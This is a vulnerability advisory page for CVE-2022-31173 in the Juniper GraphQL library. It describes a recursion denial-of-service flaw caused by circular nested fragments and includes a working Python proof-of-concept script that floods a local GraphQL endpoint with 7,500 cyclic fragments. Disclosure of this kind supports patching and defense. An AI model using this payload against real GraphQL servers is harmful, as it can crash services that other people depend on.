CVE-2022-31173 — Vulnerability in juniper — CVE Details

### GraphQL behaviour Nested fragment in GraphQL might be quite hard to handle depending on the implementation language. Some language support natively a max recursion depth. However, on most compiled languages, you should add a threshold of recursion. ```graphql # Infinite loop example query { ...a } fragment a on Query { ...b } fragment b on Query { ...a } ``` ### POC TLDR With max_size being the number of nested fragment generated. At max_size=7500, it should instantly raise:  However, with a lower size, you will overflow the memory after some iterations. ### Reproduction steps (Juniper) ``` git clone https://github.com/graphql-rust/juniper.git cd juniper ``` Save this POC as poc.py ```python import requests import time import json from itertools import permutations print('=== Fragments POC ===') url = 'http://localhost:8080/graphql' max_size = 7500 perms = [''.join(p) for p in permutations('abcefghijk')] perms = perms[:max_size] fragment_payloads = '' for i, perm in enumerate(perms): next_perm = perms[i+1] if i < max_size-1 else perms[0] fragment_payloads += f'fragment {perm} on Query' + '{' f'...{next_perm}' + '}' payload = {'query':'query{\n ...' + perms[0] + '\n}' + fragment_payloads,'variables':{},'operationName':None} headers = { 'Content-Type': 'application/json', } try: response = requests.request('POST', url, headers=headers, json=payload) print(response.text) except requests.exceptions.ConnectionError: print('Connection closed, POC worked.') ``` ``` cargo run [in separate shell] python3 poc.py ``` ### Credits [@Escape-Technologies](https://escape.tech) @c3b5aw @MdotTIM @karimhreda